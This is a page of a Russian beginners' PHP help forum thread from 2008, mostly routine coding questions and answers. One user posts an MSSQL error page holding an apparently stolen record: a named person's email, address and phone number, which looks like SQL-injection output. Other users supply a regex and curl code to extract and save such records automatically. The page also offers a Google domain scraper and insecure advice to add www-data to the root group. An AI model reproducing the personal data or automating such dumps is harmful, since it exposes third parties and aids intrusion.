PDA

Просмотр полной версии : [php] Новичкам: задаем вопросы


Страницы : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 [24] 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66

NuR
30.09.2008, 12:42
1) Какой функцией можно узнать Mime-type файла? Не тока картинки, а любого???
2) Какой функцией узнать кодировку текстового файла???
1 mime_content_type
2 хз

[x26]VOLAND
30.09.2008, 12:56
Как реализовать постраничный вывод? mysql+php

Из моего движка:

function pager($page, $pages, $pg) { # Build pagination
$res = ' <table border=0 class=row1 width=370 cellspacing=0 cellpadding=0><tr><td align=right><br><b>Pages:&nbsp;&nbsp;</b>';
$numpag = (int)($pages);
if ($numpag < $pages) {$numpag++;}
if ($numpag == 0) {$numpag = 1;}
$currp = (int)($pg);
$res .= ($pg <= 1) ? '<b><font color=#AAAAAA>«</font></b> ' : '<a href="?page='.$page.'&pg='.($currp-1).'">«</a> ';
if ($numpag <= 10)
{
for ($i=1; $i<=$numpag; $i++)
{
$res .= (($i <= $pg) && ($i >= $pg)) ? '<b><font color=#000000>['.$i.']</font></b> ' : '<a href="?page='.$page.'&pg='.$i.'">'.$i.'</a> ';
}
}
else
{
$showpag = 10;
$st = $currp-4;
if ($st < 1) {$st = 1;}
if ($st > 2)
{
$res.=' <a href="?page='.$page.'&pg=1">1</a> <b><font color=#AAAAAA>...</font></b>';
$showpag-=2;
}
else if ($currp > 5)
{
$res.=' <a href="?page='.$page.'&pg=1">1</a> ';
$showpag-=1;
}
if ($st+$showpag > $numpag) {$st = $numpag-$showpag;}
for ($i=$st; $i<=$st+$showpag; $i++)
{
$res.= (($i <= $pg) && ($i >= $pg)) ? ' <b><font color=#000000>['.$i.']</font></b> ' : ' <a href="?page='.$page.'&pg='.$i.'">'.$i.'</a> ';
}
if ($st < ($numpag-$showpag)-1) {$res.=' <b><font color=#AAAAAA>...</font></b> <a href="?page='.$page.'&pg='.$numpag.'">'.$numpag.'</a> ';}
else if (($currp <= $numpag-5)&&($numpag>$showpag+1)) {$res.=' <a href="?page='.$page.'&pg='.$numpag.'">'.$numpag.'</a> ';}
}
$res .= ($pg >= ($pages)) ? '<b><font color=#AAAAAA>»</font></b> ' : '<a href="?page='.$page.'&pg='.($currp+1).'">»</a></td>';
return $res; }


$page - имя страницы (?page=$page)
$pages - Кол-во страниц.
$pg - текущая страница (?page=$page&pg=$pg)

Пример вызова: echo pager('news',30,15);

Получается нечто подобное:

Pages: « 1 ... 11 12 13 14 [15] 16 17 18 19 ... 30 »

Dr1ver
30.09.2008, 13:16
<?php
$mime=mime_content_type('file.rar');
echo $mime;
?>




Выдаёт:

Fatal error: Call to undefined function: mime_content_type()


PHP Version 5.2.4

Gifts
30.09.2008, 13:38
Dr1ver включи модуль php_mime_magic

Dr1ver
30.09.2008, 13:47
Dr1ver включи модуль php_mime_magic

У себя то я включу, а вот на хостинге - вряд ли

Dr.Frank
30.09.2008, 14:42
У себя то я включу, а вот на хостинге - вряд ли
Закачиваешь на сервак, подключаешь функцией dl()

UnPazz
30.09.2008, 16:43
подскажите, как на php генерировать случайные числа? $z= gmp_random(50); так, неработает

VDShark
30.09.2008, 16:45
подскажите, как на php генерировать случайные числа? так, неработает
http://ru2.php.net/manual/ru/function.mt-rand.php

Dr1ver
30.09.2008, 17:04
подскажите, как на php генерировать случайные числа? так, неработает

<?php
$randomize=rand( 1, 200);
echo $randomize;
?>

1- минимальное число;
2-максимальное число;

159932
30.09.2008, 17:12
<?php
$randomize=rand( 1, 200);
echo $randomize;
?>

1- минимальное число;
2-максимальное число;
mt_rand(0,10);
тут случайное число лучше :)

Zircool
30.09.2008, 23:59
Такой вопрос есть текст

Если вы наш покупатель и хотите увидеть свою аську тут в списке дилеров (а наш сайт посещают довольно много потенциальных покупателей), то напомните мне о себе: я с удовольствием ее тут поставлю.



есть файл tags.txt с ссылками


<a href="www.vot.ru">тут</a>
<a href="www.vid.ru">вид</a>
И т.д. с анкорами слов.



$bodyblock=file_get_contents('text.txt');
$links=array_map('rtrim',file("tags.txt"));

$links_for_replacement=Array();
$words_to_replace=Array();

foreach($links as $link)
{
$link=str_replace("color: {$color};",null,$link);
$link=str_replace("font-size: {$size_ankor}px;",null,$link);
$link=str_replace(",",null,$link);
if(!$link)
continue;

preg_match("/>(.+)</",$link,$word);
if(!isset($word[1]))
continue;

$links_for_replacement[]=$link;
$words_to_replace[]=$word[1];

}

$bodyblock=str_replace($words_to_replace, $links_for_replacement, $bodyblock);


Этот скрипт ищет в тексте слова и заменяет их на ссылки с анкором, заменненного слова. Но допустим если у нас слово увидеть и есть в файле tags.txt ссылка с анкором вид то скрипт заменит только часть слова, будет что то типа у<a href="www.vid.ru">вид</a>еть... Как это все дело можно исправить? разбить текст на массив по слову и сравнивать?

VDShark
01.10.2008, 00:40
2Zircool в регулярках есть такая полезная штуковина, которая обзываеся утверждения, которая позволяет проверять символы, следующие до или после ткущего (эт в простейшем приближении...).
Вот тебе короткое описание, если не поймеш - думаю найти инфу по ээтому вопросу не проблема:


(?:x) — Сопоставляется с 'x', но не запоминает совпадение. Это называется "незахватывающие скобки". Совпавшая подстрока не может быть вызвана из элементов результирующего массива [1], ..., [n] или из предопределённых свойств $1, ..., $9 RegExp-объектов.
x(?=y) — Сопоставляется с 'x', только если после 'x' следует 'y'. Например, /Jack(?=Sprat)/ совпадает с 'Jack', только если следом идёт 'Sprat'. /Jack(?=Sprat|Frost)/ совпадает с 'Jack', только если следом идёт 'Sprat' или 'Frost'. Однако ни 'Sprat', ни 'Frost' не являются частью результатов совпадения.
x(?!y) — Сопоставляется с 'x', только если после 'x' не следует 'y'. Например, /\d+(?!\.)/ сопоставляется с числом, только если следом не идёт десятичная точка. Так, например, /\d+(?!\.)/.exec("3.141") совпадает с 141, но не совпадает с 3.141.

Здесь описаны так называемые "смотрящие вперед" утверждения. Аналогично есть "смотрящие назад" утверждения, с той лишь разнцей, что обозначается
(?<=
и
(?<!
соответственно.

winstrool
01.10.2008, 08:48
Народ подскажите плиз как в пхп можно сделать бан по Ip

nerezus
01.10.2008, 09:42
с помощью if

.:nbd:.
01.10.2008, 09:50
<?php
if ($_SERVER['HTTP_X_FORWARDED_FOR']=='127.0.0.1' || $_SERVER['REMOTE_ADDR']=='127.0.0.1') {header('Location: http://google.ru');}
?>

так например

Ипы забаненых можно хранить в файле или базе, переписать скрипт для этого дело пары минут. Но принцип примерно такой.

Gadik
01.10.2008, 10:34
Добрый день. Скажите пожалуйста какой командой можно запретить вывод ошибок на экран?

Заранее спасибо.

Gadik
01.10.2008, 11:33
аха. спасибо, получилось

xaldey
01.10.2008, 14:25
mmcache_load можна както роскодировать?

Zircool
01.10.2008, 15:42
Еще один вопросик, есть массив ссылок


<a style='color: #DE1F1A; font-size: 12px; TEXT-DECORATION: none;' href="/tags/tag_skidkoy41.php">скидкой</a>,
<a style='color: #DE1F1A; font-size: 12px; TEXT-DECORATION: none;' href="/tags/tag_uvidetj24.php">ценой</a>,
<a style='color: #DE1F1A; font-size: 12px; TEXT-DECORATION: none;' href="/tags/tag_garantiruete23.php">гарантируете</a>,
<a style='color: #DE1F1A; font-size: 12px; TEXT-DECORATION: none;' href="/tags/tag_hostinga44.php">хостинга</a>,
<a style='color: #DE1F1A; font-size: 12px; TEXT-DECORATION: none;' href="/tags/tag_cenoy25.php">ценой</a>,
<a style='color: #DE1F1A; font-size: 12px; TEXT-DECORATION: none;' href="/tags/tag_samim1.php">самим</a>,


как из такого массива удалить ссылку с одинкаовым анкором, к примеру у нас есть ссылка


<a style='color: #DE1F1A; font-size: 12px; TEXT-DECORATION: none;' href="/tags/tag_uvidetj24.php">ценой</a>,


и есть


<a style='color: #DE1F1A; font-size: 12px; TEXT-DECORATION: none;' href="/tags/tag_uvidetj24.php">ценой</a>,


Путь ссылок разный но анкоры одинаковые, так вот как можно удалить из списка ссылки с одинаковыми анкорами, оставив только одну?

Gifts
01.10.2008, 16:03
Zircool, preg_match_all('#<[^>]*>([^<>]*)[^\r\n]*#i',implode("\r\n",$a),$match);
$tmp=array_combine($match[0],$match[1]);
$out=array_keys(array_unique($tmp));
print_r($out);

macho94
01.10.2008, 16:05
Спасибо прочитал страницу 578 нашел ответ!!))! СПасибо!

spamoney
01.10.2008, 16:40
Всем привет! Очень нужна ваша помощь!

Допустим есть текст:

<b>Привет</b>. <strong>Бла-бла-бла.</strong><tr><td>Текст - Текст - Текст</td></tr>

Хочу сделать предварительный просмотр новости, путём обрезания определенного кол-ва символов (например перевые 12 символов, не меньше!!!) от полной новости, но возникает несколько проблем:

1). Это не законченность предложения, хотелось что бы предложения новости обрезалось до точки.

т.е допустим у меня указано обрезать первые 12 символов, как можно сделать что б обрезалось не менее 12 первых символов до точки/восклицательного/вопросительного знака??

т.е должно получится так:

<b>Привет.</b> <strong>Бла-бла-бла.,
а не так, т.к тут всего 10 символов:
<b>Привет.
2). При решении первой проблемы возникает другая, незакрытые тэги, при обрезании новости получается, что тэги, также обрезаются и оказываются не закрытыми

Как сделать, что бы, если тэг остался не закрытым то он бы обрезался??

т.е в конечном итоге мы должны получить такой текст предварительного просмотра:

<b>Привет</b>. Бла-бла-бла.

Если кто-нибудь сможет - помогите пожалуйста

Gifts
01.10.2008, 17:06
spamoney,
$str="<b>Привет</b>. <strong>Бла-бла-бла.</strong><tr><td>Текст - Текст - Текст</td></tr>";
preg_match('#^([\s\S]{12}[^\!\.\?]*)[\.\!\?]#i',strip_tags($str),$match);
echo $match[1];

rushter
01.10.2008, 18:51
У кого-нибудь есть пример аторизации на форуме phpbb с помощью curl или хотябы сокетов ?

Grema
01.10.2008, 19:19
тут вопрос такой появился. у меня есть сайт. там авторизация построена на сессии, когда начинается сессия время начала записывается в мускуль, когда нажимается Выход время окончания тоже записывается в мускуль, а вот как записать время окончания в мускуль если человек не нажал на Выход, а просто закрыл страницу?

rushter
01.10.2008, 19:23
если от него например нет ответа больше чем 1 минуту,подругому никак.

Grema
01.10.2008, 19:59
ну это понятно, какой-то тайм-аут, но как его реализовать!?

astrologer
01.10.2008, 20:08
ну это понятно, какой-то тайм-аут, но как его реализовать!? http://ru.php.net/manual/ru/function.session-set-save-handler.php

rushter
01.10.2008, 21:51
У кого-нибудь есть пример аторизации на форуме phpbb с помощью curl или хотябы сокетов ?
очень надо

Zircool
01.10.2008, 21:58
Вопросик есть один... .есть текст


Любишь меня или нет? пожалуйста дай мне свой ответ, не томи и не беги а любовь нашу береги... и люби... любишь знаешь понимаешь что все время убегаешь..


Помощи функции str_replace можно заменить любое слово, к примеру любишь, но функция str_replace заменяет все вхождения т.е. в тексте все слова любишь мы заменим на слово котрое нужно, а как можно сделать что бы заменяло лишь певое вхождение, а все остальные посвторения заменяемого слова оставить без изменений?

Gifts
01.10.2008, 22:05
Zircool str_replace ( mixed $search , mixed $replace , mixed $subject [, int $&count ] )
Четвертым параметром передается количество вхождений, которые надо заменить

rushter А в чем собственно проблема? Берешь сниффер, авторизируешься и смотришь какие именно параметры передавались в POSTе

rushter
01.10.2008, 22:27
проблема в том что я так и сделал,но что-то авторизация не проходит

Kaimi
01.10.2008, 23:29
(\d+)_(\d+)

Gifts
02.10.2008, 00:18
Есть ли возможность выполнять ПХП скрипт от имени рута? На сервере имею все права

Zedi
02.10.2008, 00:21
Там вроде апач и так все привелегии имеет на сколько я знаю

n3m0
02.10.2008, 00:26
Есть ли возможность выполнять ПХП скрипт от имени рута? На сервере имею все права
Думаю, если переместить пользователя www-data(www-пользователь, через которого выполняются веб-приложения) в группу root, то он будет обладать такими же правами:

useradd -g {group-name} username

useradd -g root www-data

pento
02.10.2008, 01:19
Есть ли возможность выполнять ПХП скрипт от имени рута? На сервере имею все права
sudo?

spamoney
02.10.2008, 05:04
Всем привет! Очень нужна ваша помощь!

Допустим есть текст:

<b>Привет</b>. <strong>Бла-бла-бла.</strong><tr><td>Текст - Текст - Текст</td></tr>

Хочу сделать предварительный просмотр новости, путём обрезания определенного кол-ва символов (например перевые 25 символов, не меньше!!!) от полной новости, но возникает несколько проблем:

1). Это не законченность предложения, хотелось что бы предложения новости обрезалось до точки.

т.е допустим у меня указано обрезать первые 25 символов, как можно сделать что б обрезалось не менее 25 первых символов до точки/восклицательного/вопросительного знака??

т.е должно получится так:

<b>Привет.</b> <strong>Бла-бла-бла.,
а не так, т.к тут всего 10 символов:
<b>Привет.
2). При решении первой проблемы возникает другая, незакрытые тэги, при обрезании новости получается, что тэги, также обрезаются и оказываются не закрытыми

Как сделать, что бы, если тэг остался не закрытым то он бы обрезался??

т.е в конечном итоге мы должны получить такой текст предварительного просмотра:

<b>Привет</b>. Бла-бла-бла.

Если кто-нибудь сможет - помогите пожалуйста

Предложенный вариант от Gifts, работает, но немного не так

spamoney,
$str="<b>Привет</b>. <strong>Бла-бла-бла.</strong><tr><td>Текст - Текст - Текст</td></tr>";
preg_match('#^([\s\S]{25}[^\!\.\?]*)[\.\!\?]#i',strip_tags($str),$match);
echo $match[1];

1.) Допустим если я меняю текст на (т.е после 25 символов нет точки/вопроса/восклицания):

<b>Привет</b>. <strong>Бла-бла-бла</strong> <tr><td>Текст - Текст - Текст</td></tr>

то вылазит ошибка:

Notice: Undefined offset: 1 in z:\***\www\script.php on line 12

тогда уж если нет точки/вопроса/восклицания, то пусть просто обрезает не менее 25 символов и до конца слова, т.е так:

<b>Привет</b>. <strong>Бла-бла-бла

2.) Нужно обрезеать не все тэги, а только незакрытые, т.е так:

<b>Привет</b>. Бла-бла-бла

Можно ли как нибудь всё это реализовать???

Gifts
02.10.2008, 12:30
spamoney Регулярка, если нет пробелов ^([\s\S]{25}(?:[^\!\.\?]*[\.\!\?]|\S*\s))
Убирать лучше все теги - а то останется какой нить tr, hr, br и так далее, И будешь с ними мучаться. А так - весь вывод будет в одном стиле, например первое слово жирное, остальное курсивом. Опять таки полученная длина строчки будет меньше, чем 25 символов и т.д. и т.п.

Ну если очень хочется удалять не закрытые - то будет что-то вроде вот этого:

$str="<b>Привет</b>. <strong>Бла-бла-бла.</strong><tr><td>Текст - Текст - Текст</td></tr>";
preg_match('#^([\s\S]{25}(?:[^\!\.\?]*[\.\!\?]|\S*\s))#i',$str,$match);
$code = $match[1];
$code = preg_replace('|<(\w+)(\s*.*)>(.*)</\1>|Usi', '{{$1$2}}$3{{/$1}}', $code);
$code = strip_tags($code);
$code = preg_replace('|{{(\w+)(\s*.*)}}(.*){{/\1}}|Usi', '<$1$2>$3</$1>', $code);
print $code;

MaSTeR GэN
02.10.2008, 18:46
помогите составить регулярку для дампа Mssql :

<p>Microsoft OLE DB Provider for ODBC Drivers</font> <font face="Arial" size=2>error '80040e07'</font>
<p>
<font face="Arial" size=2>[Microsoft][ODBC SQL Server Driver][SQL Server]È stato rilevato un errore di sintassi durante la conversione del valore nvarchar '1:elena.abba@dmgroup.it:fabio:1:Elena:Abbà::Via BOVE 14:Torino:10129:TO:011 5097327::' in una colonna di tipo int.</font>
<p>
<font face="Arial" size=2>/myclub/lista/_aggiungi.asp</font><font face="Arial" size=2>, line 4</font>

Оставить нужно только "1:elena.abba@dmgroup.it:fabio:1:Elena:Abbà::Via BOVE 14:Torino:10129:TO:011 5097327::"
и есче не поджкажите при использовании curl можно ли работать с кодом страницы без записи её в фаил то есть получил страницу прогнал через регулярку и записал только нужное сразу в фаил а не какждый раз просматривать фаил и удалять не нужное ?

NuR
02.10.2008, 19:13
помогите составить регулярку для дампа Mssql :

<p>Microsoft OLE DB Provider for ODBC Drivers</font> <font face="Arial" size=2>error '80040e07'</font>
<p>
<font face="Arial" size=2>[Microsoft][ODBC SQL Server Driver][SQL Server]È stato rilevato un errore di sintassi durante la conversione del valore nvarchar '1:elena.abba@dmgroup.it:fabio:1:Elena:Abbà::Via BOVE 14:Torino:10129:TO:011 5097327::' in una colonna di tipo int.</font>
<p>
<font face="Arial" size=2>/myclub/lista/_aggiungi.asp</font><font face="Arial" size=2>, line 4</font>

Оставить нужно только "1:elena.abba@dmgroup.it:fabio:1:Elena:Abbà::Via BOVE 14:Torino:10129:TO:011 5097327::"
и есче не поджкажите при использовании curl можно ли работать с кодом страницы без записи её в фаил то есть получил страницу прогнал через регулярку и записал только нужное сразу в фаил а не какждый раз просматривать фаил и удалять не нужное ?

вот лови

preg_match_all("/nvarchar\040'(.*)'\040in\040una\040colonna/",$str,$matches);
var_dump($matches);

MaSTeR GэN
02.10.2008, 19:24
cпс ну и есче остался второй вопрос :
и есче не поджкажите при использовании curl можно ли работать с кодом страницы без записи её в фаил то есть получил страницу прогнал через регулярку и записал только нужное сразу в фаил а не какждый раз просматривать фаил и удалять не нужное ?

Gifts
02.10.2008, 19:24
MaSTeR GэN "#del valore \S* \'([^\']*)\'#i"
Насчет курла - люди так обычно и делают. Покажи пример как ты используешь курл

inlanger
02.10.2008, 19:28
Можно работать с переменной, так же, как и с файлом.

MaSTeR GэN
02.10.2008, 19:39
.................................................. ..........................
function sd_gt($get_url,$desp)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $get_url);
curl_setopt($ch,CURLOPT_COOKIEFILE,"./htdocs/1.txt");
curl_setopt($ch, CURLOPT_HEADER,0);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT,30);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,0);
curl_setopt($ch, CURLOPT_FILE,$desp);
return $data = curl_exec($ch);
}

$postfix = 2;
$get_url="site.com/direct"
$filename = "base".$postfix;
$desp = fopen ($filename,"a+")
sd_gt($get_url,$desp);
fclose($desp);
.................................................. ..........................

Chaak
02.10.2008, 20:03
function openConnection($action,$follow,$timeout,$header,$c ookie,$method,$fields = false,$referer = false, $proxy = false)
{
$ch = curl_init($action);

curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_FAILONERROR,0);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,$follow);
curl_setopt($ch,CURLOPT_TIMEOUT,$timeout);
curl_setopt($ch,CURLOPT_HEADER,$header);
curl_setopt($ch,CURLOPT_COOKIE,$cookie);
curl_setopt($ch,CURLOPT_REFERER,$referer);
curl_setopt($ch,CURLOPT_USERAGENT,'Opera/9.52 (Windows NT 5.1;ruRu)');
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,FALSE);
if($method == 'POST')
{
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$fields);
}

if($proxy)
{
curl_setopt($ch,CURLOPT_PROXY,$proxy);
}

if($res = curl_exec($ch))
{
curl_close($ch);
return $res;
}
else
{
return false;
}
}

Вот моя функция работы =) поддерживает прокси

Прокси указывать не обязательно. Реферер тоже. Поля для поста тоже не обязательно. Если используешь POST, то напиши в параметре method - POST(Заглавными буквами)

MaSTeR GэN
02.10.2008, 20:37
спс коненчо у меня вот только вопрос результат работы как вывести в массив ?

Gifts
02.10.2008, 21:00
MaSTeR GэN Вместо curl_setopt($ch, CURLOPT_FILE,$desp); пишите curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); Тогда функция будет возвращать полученную строку

.::BARS::.
03.10.2008, 16:53
Подскажите как массово промаркировать картинки на сервере. Заметьте, картинки не в одной папке. Промаркировать - на каждую картинку прилепить свой логотип.

scrat
03.10.2008, 16:56
Подскажите как массово промаркировать картинки на сервере. Заметьте, картинки не в одной папке. Промаркировать - на каждую картинку прилепить свой логотип.
пройтись по всем папкам,opendir'ом,смотреть тип файла,если подходящий - с помощью GD открывать(imagecreatefrom***) ну и накладывать уже

.::BARS::.
03.10.2008, 17:01
пройтись по всем папкам,opendir'ом,смотреть тип файла,если подходящий - с помощью GD открывать(imagecreatefrom***) ну и накладывать уже
Пример если можно...

159932
03.10.2008, 17:05
http://il.php.net/manual/ru/ref.image.php

rushter
03.10.2008, 17:21
У кого-нибудь есть пример аторизации на форуме phpbb с помощью curl или хотябы сокетов ???

159932
03.10.2008, 17:41
??
<?
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://macca.devstars.eu/phpBB2/login.php'); # кулды кулды :) // сайт для примера..
curl_setopt($ch, CURLOPT_POST, 1); # главпочтамп .
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); # ретурнить трансферу ..
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); # сдедовать за локацией
curl_setopt($ch, CURLOPT_TIMEOUT, 3600); # час тайм аута !!! ха ха ха
curl_setopt($ch, CURLOPT_HEADER, 1); # а тут это вот .. ну короче для дальнейших действий .. куки вытащить итд
curl_setopt($ch, CURLOPT_USERAGENT, 'Opera/9.52 (Windows NT 5.1; U; ru)'); # волшебный браузер .. опера !!!
curl_setopt($ch, CURLOPT_COOKIE, 'хуяссе .. тут куки весёлые .. но моно и без них'); #это для дальнейшего ..
curl_setopt($ch, CURLOPT_POSTFIELDS, 'username=159932login&password=159932password&redirect=&login=Log+in'); # почтовые поля ..
$result = curl_exec($ch);
?>

http://il.php.net/curl

rushter
03.10.2008, 18:36
не работает...

159932
03.10.2008, 18:43
не работает...
а чо так ? :p
ну не повезло тебе значит .. :(
уверен что курл у тебя стоит!?
тем более ты просил пример - я тебе эго дал ..
логин:пасс - там не верный.. в этом трабла ??
зарегься там и вставь реальные данные

[x26]VOLAND
03.10.2008, 18:44
Пример если можно...

Давно выкладывал в этом разделе свой скриптик, уменьшающий одну картинку и накладывающий уменьшенную копию в центр другой картинки:

<?php
$file1= '1.jpg'; # 200*200
$file2= '2.jpg';
$image1 = ImageCreateFromJPEG($file1);

function resize($image, $new_width, $new_height, $target) { # Функция ресайза картинки
if (file_exists($image))
{
$image = ImageCreateFromJPEG($image);
$width = ImagesX($image);
$height = ImagesY($image);
$thumb = ImageCreateTrueColor($new_width,$new_height);
ImageCopyResampled($thumb, $image, 0,0,0,0, $new_width, $new_height, $width, $height);
ImageJPEG($thumb, $target, 100);
ImageDestroy($image);
}
}

resize($file2, 100, 100, '2_resized.jpg'); # Ресайзим вторую картинку
$image2 = ImageCreateFromJPEG('2_resized.jpg');
ImageCopyMerge($image1, $image2, ceil(ImagesX($image1)/4), ceil(ImagesY($image1)/4), 0, 0, ImagesX($image2), ImagesY($image2), 100);

ImageJPEG($image1, '3.jpg', 100); # Сохраняем готовую картинку
ImageDestroy($image1);
ImageDestroy($image2);
?>

Если знаешь хотябы основы php, думаю разберёшься и переделаешь под свою задачу...

rushter
03.10.2008, 18:48
а чо так ? :p
ну не повезло тебе значит .. :(
уверен что курл у тебя стоит!?
тем более ты просил пример - я тебе эго дал ..
логин:пасс - там не верный.. в этом трабла ??
зарегься там и вставь реальные данные
да я реальные и вставлял.. ,курл стоит

159932
03.10.2008, 18:58
да я реальные и вставлял.. ,курл стоит
ну а я что могу поделать тогда !?
можт там рефер чекается ? тогда поставить надо ..
еси хочешь, чтоб я точно сделал под определённый форум - кинь ссыль на форум с логином в пм .. :)

Zircool
03.10.2008, 20:42
Такой вопрос... Никак не могу продумать как его осуществить... Вообщем описываю ситуацию... Есть такая штучка как "Облако тегов", смысл мода такой он анализирует все тексты сайта и выбирает из статьи рандомно 8 слов, затем открывает файл tags.txt и прописывает туда путь страницы и имя анкора <a href="ссылка на статью">анкор</a> А затем рандомно на сайте выводятся в отдельном поле ссылки из файла tags.txt.


Вот пример сайта xsatellite.ru. Но дело даже не в этом, дело в том что в файле tags.txt есть записи которые имеют одинаковые анкоры но разные ссылки. Как можно сделать что бы при нажатии на тег, если в файле tags.txt существует несколько записей динаковыми анкорами, то при нажатии на ссылку вначале открывалась страница где выводился краткий анонс статьи и ссылка на статью...


Для примера можно посмотреть облако тегов на http://www.xsatellite.ru/ там стоит двиг ДЛЕ и мод к нему.. Так вот основной вопрос как это можног осуществить. подскажите с помощью каких функций...


У меня в голову пришла только одна идея, с помощью $_SERVER["REQUEST_URI"] отслеживаем url запрашиваемой страницы, парсим с помщью preg_match анкор страницы, затем имея уже анкор парсим tags.txt на количество страниц с такм же анкором, и если их больше 1 то тогда страницы вывода будет иметь другой вид мы выводим краткий обзор статьи и сылку на тсатью и т.д. в зависимости сколько страниц с такими же анкорами, но вот только в таком коде будет ошибка страницу невозможно будет открыть т.к. реквесты всегда будут отслеживаться и всегда будет выводиться окно с кратким обзором статьи и ссылку на статью... Ух написал же я... У меня вопрос есть ли у кого идея как можно правильно воплотить идею, скажите какие функции использовать?

Gifts
03.10.2008, 21:55
Zircool Ну а в чем собственно вопрос? Ты все правильно расписал. mod_rewrite и все в порядке

И вообще - скачай этот мод для ДЛЕ, да посмотри как там реализовано

З.Ы. Было бы не одним сплошным потоком текста, а хотя бы с абзацами - читать было бы проще твой пост

Sleep
04.10.2008, 06:33
<?php

$x = "";
$x = (string) $x;
$z = array(1,2,5,$x,8);
echo $z[3];
echo gettype($z[3]);
?>

Кубик Рубик
04.10.2008, 19:02
Привет помогите написать скрипт!

Задача: Собирать адреса сайтов из определённой доменной зоны(СС например) в текстовый файлик.

Как реализовать?
Думаю расклад такой:
Скрипт посылает запрос в google inurl:.cc/ на что гугл выводит нам адреса

Скрипт собирает эти адреса в файл.
Только вот как их собирать? :confused:

Заранее спасибо!

Ch3ck
04.10.2008, 19:06
Пошли запрос вида "Парсер Google" в гугл... :)

159932
04.10.2008, 19:29
вот тебе регулярка для гугла ..
preg_match_all('#s=r><a href="(.+?)"|U class=l>#',$result,$m);
а дальше сам .. делай вайлом или фором, смотря какого результа ждёшь

Кубик Рубик
04.10.2008, 19:31
Спасибо_))

Zircool
05.10.2008, 00:57
Люди просветити пожалуйста что такое крон и счем его едят? слышал что с его помощью пожно задавать периодичность запуска скрипта...

++Norton++
05.10.2008, 01:11
Да, крон (cron) - это планировщик в *.nix.
Здесь:
http://www.peterhost.ru/instr3_8.shtml
и вот здесь:
_http://www.opennet.ru/man.shtml?topic=cron&russian=0&category=&submit=%F0%CF%CB%C1%DA%C1%D4%D8+man
Можно почитать как его юзать

Isis
05.10.2008, 01:39
++Norton++, не только в никсах ..

Red_Red1
05.10.2008, 01:51
2 Кубик Рубик, вот такой парсер получился, попробуй может оно.

<?
header("Content-Type: text/html; charset=utf-8");
function gooParce ($keyword,$start)//$keyword - запрос, $start с какой страницы гугла выводить (начинается с нуля, шаг 10)
{
$url = 'http://www.google.ru/search?complete=1&hl=ru&lr=&newwindow=1&as_qdr=all&q='.urlencode($keyword).'&start='.$start.'0&sa=N';


$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$rs = curl_exec($ch);

$doc = new DOMDocument('1.0', 'utf-8');
@$doc->loadHTML($rs);//Загружаем в ДУМ
$d=$doc->getElementsByTagName('cite');

for ($i=0; $i<$d->length;$i++)
{
$ss=$d->item($i)->nodeValue;
$x=strpos($ss,' ');//Ищу пробел
$ss=substr($ss,0,$x);//вырезаю адрес
$ret[$i]=$ss;
}

return $ret;
}
//------------------------------------------------------------------------------
echo '<pre>';
print_r (gooParce('site:.cc',0));
echo '</pre>';
?>

nerezus
05.10.2008, 10:26
mod_rewrite

Chaak
05.10.2008, 11:29
2 Кубик Рубик, вот такой парсер получился, попробуй может оно.

<?
header("Content-Type: text/html; charset=utf-8");
function gooParce ($keyword,$start)//$keyword - запрос, $start с какой страницы гугла выводить (начинается с нуля, шаг 10)
{
$url = 'http://www.google.ru/search?complete=1&hl=ru&lr=&newwindow=1&as_qdr=all&q='.urlencode($keyword).'&start='.$start.'0&sa=N';


$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$rs = curl_exec($ch);

$doc = new DOMDocument('1.0', 'utf-8');
@$doc->loadHTML($rs);//Загружаем в ДУМ
$d=$doc->getElementsByTagName('cite');

for ($i=0; $i<$d->length;$i++)
{
$ss=$d->item($i)->nodeValue;
$x=strpos($ss,' ');//Ищу пробел
$ss=substr($ss,0,$x);//вырезаю адрес
$ret[$i]=$ss;
}

return $ret;
}
//------------------------------------------------------------------------------
echo '<pre>';
print_r (gooParce('site:.cc',0));
echo '</pre>';
?>

так никогда не делай. Соединение нужно закрыть curl_close()

+в данном случае желательно использовать file_get_contents, т.к не надо передававать никаких заголовков

CraF
05.10.2008, 12:12
Имеется база данных в формате *.xml с товаром, разбитым по категориям. Подскажите пожалуйста, как средствами php я могу импортировать этот *.xml файл в базу данных MySQL, разложив всё в таблицы??

VDShark
05.10.2008, 12:26
Имеется база данных в формате *.xml с товаром, разбитым по категориям. Подскажите пожалуйста, как средствами php я могу импортировать этот *.xml файл в базу данных MySQL, разложив всё в таблицы??
http://ru.php.net/manual/ru/refs.xml.php - вот те несколько библиотек на выбор. Выбирай какая больше нравится - и вперед. Разбирай хмл-файл и заноси в базу.
Либо можешь просто распарсить его, если неохото юзать библиотеки :)

UnPazz
05.10.2008, 14:52
скажите, плз, почему во многих движках, seo-ссылки могут быть включены, только на апаче ? с чем это связано?

Chaak
05.10.2008, 16:08
скажите, плз, почему во многих движках, seo-ссылки могут быть включены, только на апаче ? с чем это связано?
Тем что апач руководит редиректами(типа 301-306). Обычно прописывается в .htaccess(ну это типа скрипта для апача). Поисковики положительно относятся к таким редиректам.

Byrger
05.10.2008, 21:18
Не подскажите как сделать метод сложения двух чисел в классе объекта?


<?php
class baseCalc {
var $x = 5;
var $y = 6;

function calculate() {
//Сам метод
}

}



Нужно сложить число "x" и число "y"

[x26]VOLAND
06.10.2008, 06:37
<?php
class baseCalc {
var $x = 5;
var $y = 6;

function calculate()
{
return $this->x + $this->y;
}

}
$this-> - это указатель объекта на самого себя.
PS: имхо ты не доконца понимаешь что такое класс и зачем он.
